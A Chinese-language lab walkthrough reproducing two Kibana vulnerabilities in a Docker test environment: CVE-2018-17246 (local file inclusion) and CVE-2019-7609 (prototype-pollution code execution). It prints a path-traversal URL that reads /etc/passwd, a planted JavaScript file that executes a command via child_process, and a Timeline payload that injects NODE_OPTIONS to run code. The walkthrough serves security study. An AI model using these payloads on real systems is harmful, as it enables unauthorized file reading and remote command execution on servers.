一、 CVE-2018-17246_ Kibana Local File Inclusion

漏洞详情

Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.13到6.4.3之间的版本存在一处文件包含漏洞,通过这个漏洞攻击者可以包含任意服务器上的文件。此时,如果攻击者可以上传一个文件到服务器任意位置,即可执行代码。

环境搭建

靶场:192.168.4.10_ubuntu

启动 Kibana 5.6.12 和 Elasticsearch 5.6.16 环境:

#docker-compose up -d

环境启动后,访问`http://your-ip:5601`即可看到Kibana的默认首页。

漏洞复现

直接访问如下URL,来包含文件`/etc/passwd`:

```

http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

```

 虽然在返回的数据包里只能查看到一个500的错误信息,但是我们通过执行`docker-compose logs`即可发现,`/etc/passwd`已经成功被包含:

 所以,我们需要从其他途径往服务器上上传代码,再进行包含从而执行任意命令。比如,我们将如下代码上传到服务器的`/tmp/vulhub.js`:

```

# echo 'export default {asJson: function() {return require("child_process").execSync("id").toString()}}

# ' > /tmp/vulhub.js

```

成功包含并返回命令执行结果:

 

二、 CVE-2019-7609_Kibana 原型链污染导致任意代码执行漏洞

漏洞详情

Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞,利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。

漏洞环境

启动环境前,需要先在Docker主机上执行如下命令,修改`vm.max_map_count`配置为262144:

#sysctl -w vm.max_map_count=262144

之后,执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6:

#docker-compose up -d

 环境启动后,访问`http://your-ip:5601`即可看到Kibana页面。

 

漏洞复现

原型链污染发生在“Timeline”页面,我们填入如下Payload:

```

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')

.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

```

 成功后,再访问“Canvas”页面触发命令`/bin/touch /tmp/success`

可见`/tmp/success`已成功创建:

 

更多推荐